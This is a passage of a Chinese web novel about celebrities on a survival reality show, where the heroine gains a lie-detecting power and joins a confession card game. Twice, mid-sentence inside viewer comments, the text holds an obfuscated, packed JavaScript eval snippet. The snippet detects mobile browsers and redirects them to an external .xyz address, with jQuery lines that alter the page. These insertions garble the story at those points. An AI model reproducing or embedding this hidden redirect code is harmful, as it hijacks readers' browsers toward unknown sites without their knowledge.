渔网哗啦啦地撒下去,红色的海水里散落着聚集的蓝点,形状不一,有大有小,有长条,有不规则密度影。 李若水仰天爽朗一笑:“清蒸螃蟹有了!” 两人刚一收网,就感觉这网入手格外沉重,好不容易拖到岸上,待海水流去,看到网里满满的海鱼和海虾海蟹,燕南菲惊得目瞪口呆。 无论是未来还是现在的弹幕,都已经炸开了锅。 【妈妈我迷上了上世纪老祖宗怎么办……】 【别问我为什么跪着看直播,这真的是没有外力辅助下一个纯艺人做到的事吗?】 【李若水现在转世了吗,会不会是个渔夫?】 李若水差点栽倒。 [我嘞个捕鱼达人李若水啊,谁能一网子下去捕到这么多海鲜?!] [李若水老粉嘴都爽歪了,我看谁再敢说李若水装b!] [啊啊啊啊谁录了这一段!当我觉得倒霉就拿出来接好运!] [我录了我录了我发你。] [求接好运。] [接好运。] [接接接!] “你是怎么做到的?”燕南菲不可思议地问。 “秘密。” 李若水摇了摇食指,把网里的鱼虾蟹都倾倒进木桶里。 不是她不想说,问题是,绑定未来弹幕系统这件事,就算她真的说出去,谁信呐?真要说出去,不被当成疯子抓起来就不错了…… 李若水看着鱼在桶里扑通扑通地挣扎着想要跃出水面,这么想着。 就在这时,她听到脑海中传来了熟悉的机械音。 “叮——宿主您好,51世纪霍拉帝国观众对您的喜爱度达到50%,已为您开启技能加成权限。” 技能加成? 这又是什么? 李若水迷惑不已。 - “着了!” 火苗在木柴上方窜起一小朵,熊熊燃烧着。 萧铭看着越烧越大的火苗,赞叹道,“小阚做什么都上手很快啊,真是个天才。” “不敢,师兄过奖了。”阚炆还是一副神色淡淡的模样。 [老阚永远都是这个死样子,对师兄要热情点啊。] [除了李若水能让他激动一下,所有的事情他都是‘莫挨老子别来沾边’。] [李若水粉能不能死远点呢?看了两天实在受不了了,怎么跟狗皮膏药似的甩都甩不掉?] [你家姐姐,一个糊到地心的十八线,曾经红过,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460276|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人在意,天天扒着一个前途无量的未来影帝,宁觉得合适吗?] [笑死我了倒打一耙你家真是好手,李若水求阚炆给她澄清了?求阚炆去找她了?你哥哥做出来的事,又来骂女方,这个世界何时能像爱男人一样爱我?] 远远地,看见李若水和燕南菲吃力地提着木桶走向营地,阚炆立刻站起身。 “我去接她们一下。” 看着他急迫跑向前方的背影,弹幕安静了几秒,紧接着又热闹起来。 [我好感慨啊,阚炆见李若水永远都是用跑的。] [家人们看见了吗,如果一个男人真的爱你,怎么可能会眼里没活?阚炆这种顺直男,有钱的大少爷,也知道帮喜欢的人提东西,有的姐妹就不要自欺欺人了好吗?] [谢谢,听了你的话已经跟我男朋友提分手了。] [怎么扯到情感教育频道了?刚刚说话的阚粉还在吗,这回没话说了吧,是李若水求阚炆去接她的吗?] [行吧,我不说话了,我没话说,谁叫自家偶像不争气,气死我了啊啊啊啊啊啊] [现在脱粉还来得及吗,粉谁都别粉恋爱脑!] 阚炆瞅了眼桶里的鱼和虾。 “怎么这么多?” “李若水厉害啊!”燕南菲竖起大拇指,“一网网一桶!” 阚炆笑了笑,接过木桶,“嗯,她一直都很厉害。” 李若水权当没听见,快步往前走去。 众人纷纷围过来观看捕捞成果,都高兴得不行,有鱼和螃蟹吃,总比单吃果子要强得多。 这时陈英喆行李包里的东西就派上用场了。他当时虽然尽力挑了,但几乎没什么可用的,最后也只能勉强挑了点盐巴调料卡式炉之类的烹饪厨具。 十五个人围坐在一起,看被串起来的鱼在火苗上方发出滋滋的声音。 油香混合着鱼肉的焦香散发出来飘在上空,让人食指大动,早已饥肠辘辘的肠胃顿时咕嘟咕嘟地响了起来。 夕阳西沉,傍晚时分,正是适合大快朵颐的时候。 杜小凡摆手拒绝了燕南菲递过来的烤虾,“谢谢,不过我胃口小,吃这些就行。” 她指了指膝盖上的野果和竹筒里的水。 “这么好吃你都不吃?” 陈英喆埋头吃着鱼肉,连嘴边的油渍也顾不上擦:“好吃好吃好吃!……” 裴婉命乐得不行,递了一片树叶过去:“擦擦嘴吧,是你自己烤的,你这是王婆卖瓜啊。” “小喆的手艺确实不错!”狄马夸道,“我还以为你们在剧组天天吃盒饭根本不做菜,没想到厨艺还不错,真让我刮目相看!” 陈英喆谦虚道:“哪里哪里,狄导您不知道,我以前不是干演员的……我小时候当童装平面模特,后来又去小公司当舞蹈练习生。” “小公司嘛,那么多号人,哪顾得上你,什么都要自己干,有时候饿狠了,就在宿舍自己做东西吃。” 他笑了笑,虽然没再多说什么,但一切辛酸尽在不言中。 大家默默听着,都没说话。 [我崽确实受苦了,妈妈听不得这些。] [陈英喆你红得太晚了,以后都是花路!我们陪你一起走!] 弹幕立刻刷起了花字屏。 吃饱喝足,月色已悄悄爬上夜空。陈英喆摊开长长的野餐布,十五人,或盘腿,或平躺,或靠在椅子上,静静看着黑夜上空闪烁的星星。 “真美啊……” 裴婉命喝着咖啡,悠悠地感叹。 “我已经很久没有歇下来,坐在哪里,喝着咖啡,看看星星了。” 李若水望向她,忽地目光一凝。 为什么……裴婉命的头顶上,出现了一个绿灯? 她揉了揉眼睛,是夜色太黑出现的幻觉吗? “叮——宿主您好,您的直播间粉丝数目突破10w,恭喜您获得抽取技能盲盒的机会,系统免费赠送一次试用。” “当前您抽取的技能为‘红绿灯亮起时任何违背内心的谎言都瞒不过我’,已为您开放加成权限。” 李若水的瞳孔扩大了一圈。 她在心里反复默念这段话,终于弄明白了什么意思。 也就是说,她获得了一个有鉴谎作用的超能力? 裴婉命刚刚说自己太久没有休息,没有喝咖啡,根据她最近工作的繁忙程度来看,应该是真的,而她头顶亮的是绿灯,那么,只要亮绿灯,就代表这个人说的是真话? 相反,只要亮红灯,说明这个人说的是假话? 大杀器啊!李若水握拳在心里呐喊,为什么这种大杀器偏偏在这个时候给她?这种神技能,要在关键时刻使用才算用在刀刃上啊! 陈英喆分了半杯咖啡,忽然想起什么,一拍脑袋。 “我都忘了,我包里还有卡牌游戏!” 他招呼道,“反正闲着也是闲着,大家来玩游戏吧,怎么样?” 16. 卡牌游戏 一盒卡牌,一小袋迷你号码球,被平放在十五个人中央的平地上。 扑克牌大小的样式,背面却是一只眼睛的图案,下面用虚线分割出一个小框,小框上的覆盖可以活动打开。 最下面的区域,一个硕大的黑色英文单词:lie? “小喆,这牌怎么玩?”狄马像个老顽童一样,兴致勃勃地说,“跟扑克牌一样的玩法吗?” 陈英喆正在数号码球,闻言笑道:“狄导,这个牌比扑克简单多了,在学生之间常玩,是用来增进彼此了解的……我也是当年做练习生的时候玩过。” “每个人,十根手指和一个号码球。每张牌,一个问题和一个随机关键数。” 陈英喆的手心松开,十五个号码球稳稳地落到地上。 “我来随机抽取牌,如果牌上这个问题的答案是有,那么就举手;如果答案是没有,就不举手。” “没有举手的人,收回一根手指,由牌上的随机号码者发问,随便问什么问题,回答完毕则一张牌结束……问到最后,先收完全部手指的人算输家。” “输了有什么惩罚吗?”闫文清颇有兴趣地问。 吃过饭以后,他的脸色好转不少,此时面色红润,嗓门中气十足,看来那股不知名的情绪是完全褪去了。 “惩罚……还没想好。”陈英喆灿烂一笑,“我们那会儿都是罚喝啤酒或者做大冒险。” “哎,这都有摄像头拍着,大伙都是公众人物,也别闹得太难看。”贾高逸赶紧双手合十,“到时候千万留点面子,随便唱首歌或者打个电话得了,我这老骨头丢不起人。” “老贾就是好面子,”狄马打趣说,“我大学跟他一个班的,我知道他暗恋谁,待会儿我告诉你们,让他打电话啊。” “老狄老狄,饶了我吧。” 贾高逸急忙求饶,惹得众人大笑不已。 游戏正式开始了。 陈英喆定了定神,从一叠牌中抽出一张。 第一张牌翻转,赫然一行红色大字:你撒过谎吗? “现在,撒过谎的请举手。” 陈英喆说,说出这句话的同时,他自己也举起了手。 李若水举起手,她抬眼望去,只见所有人都举起了手。 并且……所有人的头上都亮着一个发光的绿灯。 看来这个所谓的鉴谎技能并不是只能判断说话,连动作所代表的心理也能判断? 这可太厉害了!李若水暗暗咂舌。 贾高逸转头望去,见狄马也举着手,忍不住叹道:“老狄啊老狄,被我逮到把柄了吧,你这出了名的老实人也会撒谎?” 狄马苦笑摇头道:“老贾,你呀,你就寒碜我吧!活到这个年纪,谁还没撒过几桩谎?” 转头问众人:“你们说,是不是?” 裴婉命叹气说:“谁说不是呢,人在世上,身不由己的事太多了。” 陈英喆已经在抽取第二张牌,第二张牌翻转:你身体健全吗? 又是全员举手,全员绿灯。 这样下去,什么时候才能出一个输家? ……不对! 她忽地觉得哪里不对劲,仔细定睛一看,这才发现角落里有一个人没有举手。 没有举手的青年坐在角落里,双手交叉放在膝盖上,一言不发,静静地看着面前举起的十四只手。 他头顶上的绿灯亮得鲜明。 “你……”狄马惊讶地看着他,“孩子,你身体不健全吗?” 曹拓点了点头,却并不介绍自己究竟是哪里不健全。 一时间整个营地寂静无声,大家面面相觑,没人发问。 “我来替他说吧。” 双星晖打断了沉默,一只手按在曹拓的肩上,说:“我弟弟呢,从出生起就不会说话,通俗点说,是个哑巴。” [我的天……] [怪不得一直不说话……] [回看我当时骂他没礼貌的评论,我真想抽我自己两巴掌。] 裴婉命尴尬笑道:“其实现在失语也是有很多办法的,比如买机械发声器,都不是什么问题……” 双星晖伸出一只手,制止了她的发言。 他替曹拓把挡住脸颊的头发别到了耳后,火光之下,右眼那只浅色的、与正常人颜色不同的眼珠是如此分明。 “他不仅仅是先天失语,”双星晖说,“他十四岁那一年,不小心被树枝弄瞎了自己的眼睛,有一只眼球是安装的义眼。” 整个营地安静得掉根针都能听见。 “嘀——嘀——嘀——” 李若水瞳孔紧缩,她清楚地看见,双星晖头上的绿灯在嘀嘀嘀的响声下,猛烈地由绿色切换成了红色! 怎么会这样? 李若水手心渗出了汗珠,是双星晖在撒谎吗?他前后说了两句话,到底哪一句是真,哪一句是假? 又或者,两句都是假话? 可是,他说谎的目的又是什么? 他要替这个曹拓隐瞒什么? “按照游戏规则,没举手的人需要回答随机号码拥有者提问一个问题……” 陈英喆抿了抿唇,面带为难。 狄马阻止道:“算了吧,小喆,这孩子都不能说话,还叫他回答问题,太欺负人啦。” 双星晖说话了:“不用,狄导,规则就是规则,我们家从小受的教育就是,无论形势如何,既然参与了游戏,必须完成了才能退出。” 他低头直视曹拓:“我知道你难受了,回答完问题,咱们就不玩了,行不行?” 曹拓点点头。 “行……”陈英喆伸手揭开牌背面的活动纸盖,“那我揭牌了……” 在众人的注视下,活动纸盖被掀开了,白色的方框里清晰印着一个数字…… 15号! 李若水移开手心小球上覆盖的手指,顿时精神抖擞浑身一振——她就是15号! “谁是15号?”陈英喆问。 “我是!”李若水急忙举手,“我是15号!” “若水姐,你提问吧。”陈英喆重复了一遍游戏规则,“你只能问一个问题,知道吧?如果无止境问下去,规则的存在就失去意义了。” 李若水点点头。 在别人看不到的地方,她的背后已经汗湿了一片。 曹拓会是预言中十一人死亡的关键线索吗?到底该确认哪个问题的真假?是确认失语的真实性,还是致盲?到底哪个问题的答案才是关键? 摄影球的红点冰冷地直视着她,就像某种猛兽警惕的观察。 指甲掐进了掌心的肉里,大脑飞速计算着……义眼是大家都看到的、客观存在的真相,说谎的话意义不大…… 那么,就只有可能是失语?…… 李若水猛地转头,朝曹拓问道:“你真的是一出生就不会说话吗?” 曹拓似乎愣了一下,没想到她会重复这个问题。 而后,他缓缓地点了点头。 李若水焦灼地盯着他头顶的绿灯,死灯,快变啊,快变啊!一定是假话! 一秒钟,两秒钟,三秒钟……在让人窒息的沉默里,曹拓头上的灯依然持久地亮着莹莹绿光。 “若水姐,没了?”陈英喆不解地问。他似乎很不能明白,李若水为什么要浪费提问机会,问一个明知道答案的问题。 “没了,我没有问题了。” 李若水仰起头喟叹出声。 在这个问题的选择上,她失败了。 天上的星星恍如一双双明亮狡猾的眼睛,正讥诮地对她微笑。 实时网友弹幕已经把李若水骂疯了。 [李若水什么意思啊?那意思怀疑别人说谎呗?她有什么资格怀疑别人啊?] [真没素质,欺负残疾人算什么本事!] [果然人会糊都是有原因的,没素质的人会一直没素质。] [亏我今天还对她转粉,明天我要把积分票全部转投其他人。] 曹拓起身,朝双星晖打了几个手势,又朝大家半鞠一躬,转身走到大部队身后数米远的男生帐篷处,一躬身,钻了进去。 双星晖摊摊手,含笑道:“抱歉,他不舒服,先回去休息了。” “希望大家体谅一下……无论是谁,身体隐疾在大庭广众下被拿出来公布,又被质问,都会不舒服的,对吧?” 最后一句话,他转头朝着李若水微微一笑。 [想起这两人的关系,论起来李若水还算是这个男生的前嫂子呢。] [怪不得双星晖当时和她分手,欺负人家弟弟,这是人干事?要是我我也分。] [双家没娶李若水这种人也算是双家的福气。] …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460277|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少了一个曹拓,并不影响游戏继续进行。 第三张牌:你心理健康吗? “这叫什么问题,”卜思雨嗔怪道,“大家都是明星,要给粉丝做榜样的……难道还能有变态吗?” 说着便举起了手。 李若水默默翻了个白眼,如果她头上的绿灯没有变红的话,这副言之凿凿的样子还真是挺有说服力的。 随意扫视一通全场,十三个人全都举起了手。 她总不能当异类吧?本来就有黑历史精神病传闻了,要是这回不举手,可就坐实了自己脑子有问题。 李若水无奈地举起了手。 但是……怎么会有这么多人的头顶都亮红灯? 她粗略一数,萧铭、陈英喆、余嘉荧、司理群、裴婉命、杜小凡、燕南菲、闫文清的头上居然都是红灯。 娱乐圈艺人心理不健康比例这么高的吗?连萧铭也有烦恼?他都这么顺风顺水了……能有什么烦恼? 娱乐圈也就算了,怎么连学术界也……她一言难尽地看着号称拥有皇家大学博士学历的顶尖学术内卷者,你们也精神不正常吗? 反而是她认为已经实锤了变态疯子精神病的双星晖,头顶上的灯居然又变回了绿色? 阚炆头上那半绿不红的灯又是怎么回事? 看来这灯也不是完全依据客观事实来的,更多是依据这个人在说出这句话、做出这个动作时的心理自我认可来判断。 李若水暗自思忖。 “那,又是全员举手的一张牌。”陈英喆轻轻将牌甩到一边,“那这张牌就过了啊。” 双星晖道:“我有点渴,我去接杯水行吗?” 贾高逸附和:“就是啊,这干玩游戏,也忒没劲了,能不能让节目组给我们空投点啤酒卤味什么的,这才叫游戏嘛!” 司理群忽然道:“等等。” 他站起身:“贾老师这么一提,我还真想起来了,虽然我避嫌没直接参与制作组的布置,但我听说他们先前上岛,在这附近藏了两箱兰斯娱乐冠名赞助的啤酒。” 话音未落,他已正襟直立,对着镜头字正腔圆道:“你是否在夜里感到寂寞难耐?是否有时感到无人陪伴?兰斯啤酒,代替朋友的酒。有了兰斯,友情即在!” 众人:“……” 这广告打得也太硬了吧! 萧铭说:“有啤酒也行,有氛围……那不然,咱们去找找?” 司理群:“行,那大家一起去找找,我没记错的话,就在树林浅处,不会太深,因为那群小子也怕危险。” 大家打着手电筒在浅层草丛里翻翻找找,果真找到了两箱印着“Notyex”的啤酒。 两筐啤酒,摆在中央,人手一瓶。 有了这些酒,孤寂的荒岛似乎也变得热闹温馨起来,不像是荒野求生,倒像是团建野餐了。 游戏在短暂的中断后继续。 第四张牌:你是独生子女吗? “好家伙,这是打听我们家庭情况来了。”贾高逸闷了口啤酒,把手放了下来,“我老东西是贾家老大,底下还有好几个弟弟妹妹。” 双星晖、司理群、余嘉荧也放下了手。 [小荧居然有弟弟吗?从没听她提起过。] [因为是艺人要对家人进行保护吧?免得有疯狂的私生粉去骚扰什么的。] [我是小荧的老粉,很早之前她确实发过和弟弟的合照,当时我看下面评论,她弟弟好像也是艺人呢。] [应该不是,你记错了,如果真的是艺人,怎么可能一点水花没有,提都不提?] [你说得有道理……那估计是我记错了,可能是艺术相关行业吧。] 弹幕不好意思地澄清。 其余人的手都高举着,他们都是家中独苗,完全不知道有弟弟妹妹是什么滋味,此刻举手举得问心无愧。 李若水看着全场的绿灯倒也不意外,这种问题有什么好撒谎的? 牌面上的纸盖揭开:13号。 “我是13号。”阚炆开口道,黑白分明的眼睛径直看向了双星晖,眼神里暗藏锋芒,“我想对双董提问。” 双星晖笑了笑,极为绅士地朝他做了个邀请的姿势。 “我的问题是……” 阚炆玩弄着手心里的小球,开口问道。 “双董,曹拓真的是你弟弟吗?” 17. 游戏之夜 全场讶然。 实时弹幕也一片哗然。 [阚炆这是疯了吗?就因为双星晖是李若水前男友就要这么羞辱别人?] [不愧是李若水的绯闻对象,果然一个被窝睡不出两种人。] [从现在起,我讨厌阚炆。] …… 双星晖挑了挑眉:“阚大影帝,你什么意思?怀疑我在说谎?” “不敢,影帝当不上,我充其量只是个被提名而已。” 阚炆神色不变,“我只是纯好奇,双董,从开场介绍之后,你没有再叫过他一声弟弟,连昵称也没有,从来都是用‘他’指代……” “你对他,呼之即来,招之即去。” “敢问,一个真正爱自己弟弟的哥哥,会在众目睽睽之下暴露弟弟的伤疤给全球观众看吗?” “我也是人,我很清楚,我们对想要保护的人,从来都是珍之爱之,深怕对方受到一点点痛苦和伤害……因为,如果对方觉得痛苦,那样的痛苦会让我们感到同样痛苦,甚至更痛。” “他不像是你的弟弟,更像是你的一个随从,一个工具。” 隔着昏黄跳动的火焰,阚炆那双深黑色的眼眸像一把锋利的剑,直直斩向双星晖。 “所以,我很好奇,他真的是你弟弟吗?” …… 在一片寂静和别有意味的眼神中,双星晖勾唇笑了。 “阚炆,你说你也是人,那你应该知道……人和人是不同的。” “有时候,人和人的差别,比人和狗的差别还要大。” “我给大家讲一个故事吧,”双星晖说,“是关于我和我弟弟的。” 他那温润的声音在黑夜中徐徐道来。 “正如大家所知道的,我有一个弟弟,”双星晖金丝镜框后的眼神在这一瞬间变得柔和,“我和我弟弟从小一起长大,我很爱我的弟弟。” “在我少年时期,我父亲就看出我有经商思维,他说,我是个天生的商人,我的付出始终计算回报率,如果得不到同等甚至更多的回报,我绝不会付出。” “于是,当我爱我弟弟的时候,有时候我会想,我这么爱我弟弟,我弟弟会同样爱我吗?” “有一天,我和我弟弟在花园里玩,我弟弟有一条从小养到大的狗,那狗很漂亮,全身都是白色的长毛,我弟弟亲手喂养,他非常喜欢它。” 双星晖的神色陷入了回忆的迷离,“那条狗,那天不知道为什么发了疯,冲过来咬了我一口,把我的腿咬伤了,鲜血淋漓。” “我很痛苦,但是,我很快就不痛苦了,”双星晖说,“因为,我弟弟叫家里的保镖把那只乱咬人的狗活活打死了。” “我弟弟跟我说,在这个世界上,他最爱的人是我……” 双星晖仿佛想到那一幕,露出了一抹微笑,那微笑是如此幸福,亲眼目睹的人绝不会怀疑他叙述的真实性。 “只要伤害到我的东西,哪怕他再珍爱,他也要毁了它。” “从那一刻起,我明白,我弟弟就像我爱他一样爱着我,”他说,“从那一刻起,我决定保护我的弟弟,就像保护我自己一样保护他。” “只要我弟弟想要,我就给他。只要我弟弟厌恶,我就扔掉。只要让我弟弟觉得不爽的,我就清除掉。” “听了这些,还会有人觉得我不爱我弟弟吗?” 鸦雀无声。 “别有用心者的造谣生事,会使全球观众对我产生不必要的误解,”双星晖站起了身,“为了我和我弟弟的名誉,也为了及星娱乐的股价稳定,我有必要澄清……” “我和曹拓,确实是亲生兄弟,”他不疾不徐地说,“至于为什么姓不同,是因为一个随父姓,一个随母姓。” “但是,我们的血缘关系,毋庸置疑。” “如果还有人造谣,在见到我公布的亲缘关系鉴定书之前,他还会接到及星娱乐律师团队的诉讼函。” “以上。” 男人深深地对着镜头鞠了一躬。 李若水面无表情地看着双星晖的头上稳如泰山的绿灯。 弹幕飞速地更新着。 [双董好帅啊啊啊啊啊!] [我也想有这种哥哥,羡慕死我了,虽然有点暗黑,但是真的安全感爆棚啊。] [现在去买及星娱乐的股票还来得及吗?] [只有我心疼那只被打死的狗吗?说打死就打死,资本真不是人!] [阚炆居然去挑衅资本,真是活腻了,不怕以后没戏演吗?] 双星晖坐下来,朝阚炆微笑道:“阚影帝,这个回答可以接受吗?” “我说了不要叫我影帝,”阚炆淡淡说,“论演技我怎么会比得上双董,虽然不是艺人,但是一出稳定股价的好戏演得出色极了。” 双星晖耸了耸肩,一副“随你怎么想”的表情。 “好了,都少说两句,”狄马皱着眉说,“我这人最见不得别人剑拔弩张吵吵闹闹的,有什么事不能好好说?你俩都消停点,别在全球观众前丢人现眼!” 相处这么长时间下来,大家都对狄马既敬又怕,此时他一说话,立刻跟着纷纷附和。 “是啊,”贾高逸说,“小阚你冷静点,我们知道你是心直口快……但是有什么私人恩怨也不要放到节目上来嘛,私底下好好说,双董人还是很大度的。” 裴婉命也一脸不赞同:“小阚,确实是你不对,我和我家那位是和双董合作过的,他为人处事,都没得说的。” 一直在静观吃瓜的未来网友终于出现了。 【裴婉命还和双星晖合作过?好啊,全网都搜不到这个双星晖,我还奇怪这个人到底存不存在呢,终于找到一点他和娱乐圈的关联了。】 【我顺着帝国百科里裴婉命的资料查到了他们俩的交集,上世纪现象级大爆剧《达摩诀》是由及星娱乐牵头,几家公司共同投资的,裴婉命和她老公牛志鹏也参与了小额投资。】 【怪不得她帮双星晖说话呢,合着这都是利益勾结啊。】 【也不能这么说吧?阚炆这话确实没道理啊,莫名其妙怀疑别人和弟弟的关系,还是在全球观众面前,换了你你不生气?】 【那倒也是……】 弹幕不说话了。 李若水紧皱眉头看着弹幕,她记忆里的阚炆绝不是惹事生非的人,没有把握的话是不会信口开河的。 可是双星晖又分明没有说假话…… 到底怎么回事?真的是阚炆冲动之下弄错了吗?…… 她用手抵住额头,思绪万千。 “各位,各位,”闫文清说,“我看大家情绪都不太冷静,不如我们碰个杯,和解一下,怎么样?” 他一副酒桌场上老油条的做派,但这套做派对于此时僵持的氛围确实很有效。交杯换盏之后,酒精所制造的亢奋和微醺感立刻让大家恢复了些许笑意。 游戏继续。 …… 第五张牌:你的父母爱你吗? 又是全员举手。 贾高逸犹豫一瞬,还是摇摇头放下了手,头顶的绿灯幽幽照亮他沟壑纵横的脸庞。 “你们年轻人,真是幸福……” 他声音里带着苍凉,“我是家里老大,从小在庄稼地里长大,给我几个弟弟妹妹既当爹又当妈,当演员之后,头几年我必须把钱寄回家,自己吃凉水泡馒头……问我爹妈爱不爱我?” “什么爱不爱的,我哪知 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“本来我们都是导演系的,而且学得都挺好呢。”贾高逸说,“大二那年吧,我们班主任特地找到我们两个人,给了我们俩一人一个实习机会,给老狄的是去剧组里当实习助理导演,给我的则是一个特别好的试镜机会,其实你们应该也猜到了……” “血色暴雨!”杜小凡抢答道。 “哦!”陈英喆恍然大悟,“原来是这部戏,我也看过,太经典了!” 他朝贾高逸竖起一个大拇指:“贾老师,您演得太好了,真的,为生计所迫穷困潦倒最后爆发的样子真的……到现在还刻在我脑子里。” “对,丫头,记忆力不错啊。”贾高逸指了指杜小凡,得意洋洋地说,“就是血色暴雨,那是我的成名作,我一去试镜,导演就说我跟那个角色气质特别搭,立刻拍板要了我。” “拍完那部戏,我就出名了,之后我就退学了,”贾高逸停留在回忆里,“当时除了班主任推荐,是不允许学生在校期间大量私自接戏的,但我家里本来就穷,我迫切需要钱……” “于是我就这么的,转行成了演员。” “老狄呢,一直都是老实人,本本分分的,在那个实习机会里,被徐导看中,成了他的副手,后来自己单干,现在成了国际知名大导,跟徐导也不相上下了,甚至更胜一筹。” 狄导抱着膝盖,沉默地看着劈里啪啦燃烧的木柴。 不知道是不是想起了校园岁月的往事。 一时无言。 …… 酒过三巡,大家都有些醉意。 “大、大家,你们先喝着,”闫文清大概是喝多了,连声音都有些粗哑,大着舌头说,“我想去树林里尿个尿。” 说罢,他飞快捂着肚子跑向了远处的树林。 “看这闫博士,在全球观众面前,连体面都不要了,堂堂博士……”贾高逸红着脸笑道,“来,我们继续喝!” 一时间,净是酒瓶碰撞笑语寒暄的声音。 …… 李若水刚干完了一瓶啤酒,兜里的手机就剧烈地震动起来。 什么鬼? 这个时候,居然有人打电话? 她醉眼朦胧地掏出手机屏幕,来电显示是一串名为“节目组”的手机号码。 这时,她才察觉,全场人都停下了喝酒的动作,不约而同地掏出了手机。 嗡嗡的振动声响彻整个营地。 李若水按下接听键。 “喂?”她晕乎乎地说。 “晚上好,各位嘉宾老师。” 电话那头是冷冰冰的机器人声音,冰得李若水头脑一个激灵,一瞬间酒全醒了。 “第一期积分票公投目前已经截止。” “现在,为你们公布第一期积分票排名。” 18. 积分排名 电话那头冷冰冰的声音仍在继续。 “第一名,李若水。” “第二名,裴婉命。” “第三名,陈英喆。” …… cctop的直播间也及时跳出了公投结果,引发网友热议。 [居然是李若水第一?] [这也不奇怪吧?李若水刚复出,首先是她的很多老粉在后台抱着愧疚感拼命投票,其次是她今天的表现太亮眼了,很多路人手里多的票也全给她了。] [这期是第一,下一期就不一定喽。] [裴婉命的粉都是富婆姐,果然战斗力还是那么强。] [但是萧铭家这次怎么这么不能打?居然被陈英喆给超了。] [陈英喆多能卖惨啊,刚刚那一番话,你是没看见,他超话都炸了,粉丝哐哐哐就去买啤酒了。] [楼上,别挑事,老萧自己能挣,家里又有钱,不缺那五千万,他本身又低调,粉丝佛系点也正常。] 电话挂断了。 李若水抬起头,发现不知何时,众人的目光已纷纷投向了坐在圆圈下位的她。 没人说话,只有呼啸的风声。 繁星点点之下,她竟成为被围在视线中央的那一个。 这滋味很不好受,就好像……自己成了猎物。 岛上昼夜温差大,夜风一吹,和扩张的皮肤毛细血管冲撞,浑身都起鸡皮疙瘩。 贾高逸率先笑起来:“我说,大家伙儿,这是干嘛呢?来之前不是说好了,要齐心协力到达终点,一起拿五千万?现在,怎么一个排名就把咱们打得四分五裂呐。” 狄马说:“老贾说得对,什么排名不排名的,我不管,反正咱们十五个人,得团结。” 两个老前辈一出声,好像打破了什么禁忌,特别是狄马那正气十足又洪亮的声音,如同一阵能量巨大的气场,冲得人心头激荡不已。 杜小凡忽然摊开手掌放在半空,仰头望着天空,怔怔道:“下雨了……” 燕南菲“哟”了一声:“还真是,下雨了,不过是小雨,毛毛虫样的。” 细细的春雨如牛毛般倾泻而下,落在脸上就像泪珠一样,润物细无声地打湿了众人的脸庞。 不知不觉间,积分排名通知造成的隔阂正在无形之中逐渐化解、消弭。 双星晖忽然想起来什么,转头道:“闫博士呢,上个厕所而已,怎么还没回来?” 话音刚落,闫文清从远处的树林里探出了半边身子。 他依旧穿着上岛时的蓝色工作服,此时头上套着工作服自带的塑料雨帽,雨已经淅淅沥沥地打湿了雨帽,紧贴着他的脸庞。 离得太远,他几乎成了一个蓝色的小点。 贾高逸冲他喊道:“博士,回来呀!接着喝!” 闫文清挥了挥手,大概是酒仍未醒,声音带着些许粗哑,朝营地喊道:“不了,你们先喝!我刚看到几株罕见植株,我去收集一下材料,待会就回来!” 说罢,又转头钻进了树林里。 贾高逸摇头道:“这书呆子,没救了。” 又对狄马说:“老狄,你年轻时也这样。你记得吗?有一回班主任说一本书好,让我们最好能熟读,做到烂熟于心,结果,你让我说你啥好?” 狄马哈哈笑了,笑得开怀。 “往事不堪回首呀,老贾……” 贾高逸对众人说:“他呀,他愣是把那一整本书背了下来!我们班主任都惊呆了,说狄呆子呀狄呆子,我叫你熟读,没叫你背呀!” 大家都乐不可支地笑了起来。 狄马自嘲道:“我年轻时就是笨!笨得惊人!不像老贾,比我灵光多了,一入学就是众星捧月,人精中的人精,那会儿,都是他带着我混。” “狄导,您那叫匠人精神,没有这股精神,哪来现在的成功?” 陈英喆笑着捧场,又说,“前辈们,这还有几张牌,不然咱们休息会儿,该喝水的喝水,烟瘾大的抽烟,想喝咖啡的喝咖啡,趁雨不大,把这几张牌玩完了,就睡觉,怎么样?” 全体表示赞同。 卜思雨起身伸了个懒腰说:“哎哟,可累死我了,我去上个厕所。” 这趟来荒岛,她带了不少衣服,脱下昨天的旗袍,今天穿了一件白色紧身短袖,伸懒腰的时候露出一截细细的腰肢,十分窈窕动人。 贾高逸呵呵笑着,也站起身来。 “我去散个步溜溜弯,老喽,坐太久,这腰椎间盘是受不了了。” 燕南菲挤到裴婉命身边,叽叽喳喳地依偎着她。 “裴姐,你在看视频啊,”她好奇地盯着裴婉命手机屏幕上的一群孩子,“好多小孩子啊,这什么综艺?带娃的?” “都不是。” 裴婉命笑语盈盈地回应她,有些怅然地隔空摩挲着屏幕上孩子的脸蛋。 “这是一个很古早的童星选秀节目,叫星星孩子,”她如饥似渴地盯着正在表演的小女孩,怎么也看不够似的,“你看这个,这是我女儿佳明。” “那时候她能跑能跳,可真活泼啊……一千米长跑,她能跑第一,还喜欢拉我去陪她爬山,”裴婉命眼眶湿润,“后来得了病,她再也没起床跑过步、爬过山了。” 燕南菲难过地看着她,伸手抱住了她。 “裴姐,你是个好妈妈,佳明会好的,一定会好的。”燕南菲轻声地说,“你看佳明,多漂亮啊。” 裴婉命摸了摸她的脸,哽咽着说:“南菲,谢谢你……等好了,我介绍你们认识,让她认你当干姐姐。” 